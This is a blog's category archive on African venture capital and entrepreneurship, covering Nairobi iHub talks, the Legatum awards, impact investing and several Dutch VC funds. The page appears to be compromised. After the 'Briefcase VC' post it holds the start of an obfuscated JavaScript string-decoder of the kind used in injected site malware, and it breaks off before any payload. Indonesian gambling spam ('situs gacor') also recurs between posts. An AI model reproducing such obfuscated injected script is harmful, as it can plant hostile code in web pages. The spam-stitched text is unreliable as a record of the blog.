Category Archives: africa venture capital

Entrepreneurship Moment: Apprentices, Intellectual Property, Mentors, Partners

Over the last few weeks, I have been exposed to various events and lessons that touched on entrepreneurship. We had the Legatum business awards winners feted in Nairobi, talks by some young US technology start-up executives, and got to watch the movie ‘Social Network’, and final episodes of the Apprentice beamed live from the US.

Talk 1: Russell Simmons, a co-founder of Yelp.com, and a Jawed Karim, co-founder of Youtube, were here for i/o Ventures which aims to incubate start-up entrepreneurs and formalize angel investing – this is because giving back is a big deal in Silicon Valley.

They talked at the Nairobi iHub and some of the business advice they imparted to local entrepreneurs included:

  • What you are working on, will be different in 3 to 4 years, but keep going & don’t give up.
  • If you have bad chemistry with an employee/co-worker, fire them as soon as possible – as dealing with them takes up so much productive energy.
  • It’s hard to find good team members. But it may be better to recruit from universities, as enthusiasm trumps experience.
  • Get your product out immediately, don’t over tweak – perfect it as you go along. Also, instead of juggling many projects, focus and do one project really well – hit a home-run and people will line up for more.
  • On Intellectual Property: In Kenya, theft of ideas is a big worry with young companies seeking partners & financiers, but their advice was that in Silicon Valley, theft of ideas not an empirical problem.
  • If you have an idea, someone else has the same idea – and having an idea does not give you an advantage, it’s about being better to execute better than anyone else.
  • Don’t be afraid to share your ideas, because once you launch, everyone will see it anyway.

Talk 2: Paul English co-founder of Kayak.com who’s working on Join Africa, a last-mile (wifi) connectivity project with University of Nairobi, University of Kigali and MIT also gave a talk on entrepreneurship. Excerpts:

  • Most important elements for him were the team, customers and profit incentive.
  • Don’t make customers happy – blow them away – kayak.com is the best for getting cheap flights (actually make more money from hotels than airlines)
  • Take risks, but pick partners carefully.
  • He has no customer service, everyone in the company does that
  • Be the best; He said even if an employee took their code to a rival, he believes he’d’ still build a better travel site.

At the talk, Communications PS Bitange Ndemo also talked about push to have a sub-patent law and creative commons in Kenya, as opposed to unwieldy patents – these are suitable for local development of incremental innovations as many creations will not qualify to pass an IP test. He also believes it’s best country for have flexible laws until we develop further.

Apprentice: Got to watch the final few episodes of Donald Trump’s Apprentice – which this year featured Kenyan-born Liza Mucheru-Wisner. She was one of the 16 contents, picked from several thousand applicants, and made it to the final three. She would have gone further but for a sudden decision by Trump to fire her even when her team had won a challenge.

Earlier, in defending her decision on that project, she got into a debate with Trump about race as a factor in the marketing of products, and Trump said he fired her because she did not get along with her fellow contestants – and she was shocked because they were all in a competition to win, not be popular.

The Apprentice is a TV show with a plot, structure, bad guys, and a defined ending. But it’s a microcosm for business & entrepreneurs who face different challenges, have to play multiple tasks, whose plans don’t always go right, may not have the resources they need and don’t get to work with the right people – and there’s always a bit of improvisation to get a win.

It’s all cut and edited into a dramatic hour-long package for TV, which means that we don’t see a lot of the hard work that contestants put in. Liza said she actually got along with all the contestants and the harsh comments were never repeated in front of contestants during tasks, but only came out in the boardroom, when everyone was fighting to remain on the show.

Despite not being the Apprentice, she does not feel like she lost. She represented herself well, put a spotlight on herself and her passion (education, kids, technology), and as a result, she got lots of offers to consider, one of which may involve becoming a goodwill ambassador.

Social Network: This is a well-received movie about the origins of Facebook – and which leads Roger Ebert’s list of top movies of 2010. I got a 50/= ($0.6) bootleg copy in Nairobi and it’s a must-see for any entrepreneurs – with lessons on maintaining focus amid changing business concepts & expectations, management, and picking/rejecting partners.
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situs gacor

Investing in Africa Moment

Legatum Africa Awards: Three Kenyan companies – Biodeal Laboratories (generic drug manufacturer), Craft Silicon (financial software developer) and Mellech Engineering (construction & engineering), have been selected as finalists in 2010 Africa Awards for entrepreneurship.

They are competing for $350,000 in fund prizes, with a grand prize of US$ 100,000 and five other prizes of US$ 50,000 each. The other finalists in the top 10 are Malcom-Ezindaleni Hydraulics (SA) NTR Technology (Botswana), Planbuild (Uganda) Sigma Electric ( Ethiopia) Steel & Tube Industries (Uganda), Tutuka Software ( SA) and Wilkins Engineering (Ghana) – who were also shortlisted from more than 2,700 entries.

Legatum, a privately owned investment group and Omidyar Network, a philanthropic investment firm, organized the awards, who’s winners will be announced on December 6 in Nairobi.

Agriculture Equity: The African Agriculture Fund, a private equity fund closed on US$ 135 million of funding in November 2010. The funds will be invested in the agriculture value chain from primary production to processing at $20 million per portfolio company.

The Fund also has a dedicated SME sub-fund and a technical assistance facility of 10 million euros, to support out grower schemes in large companies and business development services in SMEs.

Transparency Equity: Late in October, Omidyar and Hivos created the Africa Transparency and Technology Initiative (ATTI) – a fund that will support technology-driven initiatives that give citizens the tools to hold their governments to account. Omidyar Network will invest up to $2 million and Hivos will administer the fund.

Diaspora Fund: The Enkare Innovators Fund was launched and is seeking US$850 Million from Diaspora for investments in Eastern, Southern & Northern Africa with early focus on Kenya, Tunisia, Egypt and South Africa. This is via a private placement that will run from January to July 2011 and is promoted by Cauave Deaa Et Al Capital Partners

Silicon Valley Visits: The Kenya ICT Board will host a team from I/O ventures, comprising entrepreneurs & founders will from Silicon Valley who will visit Nairobi on December 14 & 15 and who are seeking young ICT entrepreneurs to mentor.
Mombasa housing development
Impact Investing: Impact Investments are a new asset class as per a report being launched this week in Nairobi, London and New York – by the Rockefeller Foundation, Global impact investing network, and J P Morgan.

These refer to investments that have an intended purpose of positive social or environmental good besides a financial return – and probably what Acumen Fund have been referring to as patient capital.
– Impact Investments are primarily debt or equity, and are investments not philanthropy investments
– They studied 1,100 investments and found that about 500 were less than $500,000, and only 35 were more than $10 million
– Impact investments are founds in sectors like agriculture, water, housing, education, health, energy and financial services (micro-finance is the most mature sub-sector)
– There are now metrics, tools, ratings, conferences – all devoted to impact investing and how to measure non-financial impact; One benchmark called IRIS (based on IFRS) and others are Pulse and GIIRS . Currently impact investments are measured primarily by investors own proprietary systems, or by a mix some investor goals such as job creation, asset accumulation, or energy efficiency
– The report has a robust outlook for the sector and concludes that there are potential impact investing requirements over the next 10 years of between $400 billion and $1 trillion, with potential profit of $183 billion to $667 billion, and with the bulk of these to be found in the urban housing sector.

Further Reading

Invent for Mobile: CGAP article which asks how viable companies in mobile health and mobile money can attract VC funding and interest.

Large Private Equity: FT article – about private equity in Africa by Andrea Bohnstedt (@andreabohnstedt), the publisher of Ratio Magazine

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situs gacor

Briefcase VC

What’s briefcase VC?

In Kenya we are familiar with briefcase NGO’s and briefcase contractors. ‘Briefcase’ is a not so nice was of describe someone who has access to power but does not invest resources in business. A briefcase NGO has no programs or operations, and exists merely to solicit funds from donors, while a briefcase contractors wins government contracts/tender (through the influence of a power network) which he/she has no capacity to implement, then sub-contracts these to compete firms (without access).

A Briefcase VC (venture capitalist) is probably a tourist on holiday, who calls around or approaches vibrant local tech companies with unsolicited offers to invest in them – but has no funds or capacity (beyond a website) to do so and no recent deals to speak of, and unfortunately are able to put hungry young companies through hoops as they restructure and comply in the hope of getting funding that it unlikely to materialize.

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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situs gacor

Venture Capital in Nairobi – VC101

A talk on venture capital (VC) was given by Vincent Kouwenhoven and Brian Hirman of the eVA (eVentures Africa Fund BV) at the iHub in Nairobi. They both have about 15 years experience in VC and enumerated the criteria the fund uses for investments including that target companies in Africa should have profitable track records (not start-up’s) to qualify for VC investments of between 25,000 and 250,000 Euros (~Kshs 2.5 million to Kshs 25 million).

The fund was launched in January 2010, and in the ½ year they have invested in 5-6 companies. The founders are seasoned travelers in Africa and their interest was piqued by observations they made over the last three years including;
1. Chinese investment interest in Ghana and Kenya
2. Arrival of fibre optic cables
3. More African returnees returning from the Diaspora who were setting up their own companies (it’s a good sign). They have been exposed to Kenya for many years and sense that entreprenual spirit in Nairobi is very good as are competence levels in high technology sectors.

– All their investment are active in the digital scene – whether mobile, internet, communication platforms – and include a leading internet company in Ghana, while in Kenya, they have Jumuika, Ratio Magazine, and the latest deal signed today is for an investment in Verviant (w/ Liko Agosta better known for Pesapal)

– They invest growth funding in companies and try and cultivate a healthy portfolio, unlike other VC’s who make several weak investments in the hope that one or two will payoff and offset the failures. Their investment clearly spells out the use of proceeds/funds which can vary, but ideally should not be for increased salaries or other debt repayment (unless to retire expensive debt). They also mentioned that their investment criteria is a guide, not cast in stone (e.g. Jumuika was a startup)

– They get involved in the operations of the company; whether marketing, technology, financial, entrepreneurship, HR policies. They act as a sounding board and advise owners (use skype a lot) on how to scale up e.g. when they get traction, how to set up customer care capacity

– They seek out committed entrepreneurs – not part timers, or people with one good idea they have not developed, or people with a dozen ideas (not focused). They want to invest in people with the gut and belief to start a business and are willing to eat bread & water to hack it put (not one who relies luck) – and who also enjoy what they are doing. Other “no no’s” include people who ask for too much money that dilutes their equity (EVA want founders to retain at least 51% at all timea), or which enables them to run the business without risk for two years (i.e. with the VC’s funding)

– On exit strategy their preferred rout is a buyout of the company within 3 to 7 years by multi-national or larger company. In cases where an investor may not be ready to sell, the VC can sell their stake to another VC.

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situs gacor

VC Coffee Chat

On Monday June 28 at the iHub in Nairobi there will be a talk on venture capital, in continuation of a series of events that bring together local financiers and entrepreneurs.

In preparation for that, we had a chat with Eline Blaauboer of TBL Mirror Fund which is a Dutch venture capital fund that has made four investments in Kenya and are also branching around East Africa.

The Fund invests a minimum of EUR 100,000(~Kshs 10 million) taking minority stakes in companies that show fast growth and the potential to be market leaders. They look for well-managed ambitious and visionary SME’s and TBL invests in all sectors particularly where the partners have extensive industry knowledge, as a VC focused on a specific sector is not sustainable here yet. It’s interesting to note that, while it is said in local banking that women are not ambitious enough to dream big and attract large funding, ½ of their investee are women-led companies

Related
– TBN are hiring both an investment manager and an investment analyst.
– On Monday June 28 at the iHub in Nairobi there will be a VC 101 event with a talk on venture capital given by Vincent Kouwenhoven of the EVA Fund
– Recap of recent VC activity in the region by Ratio-Magazine.

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situs gacor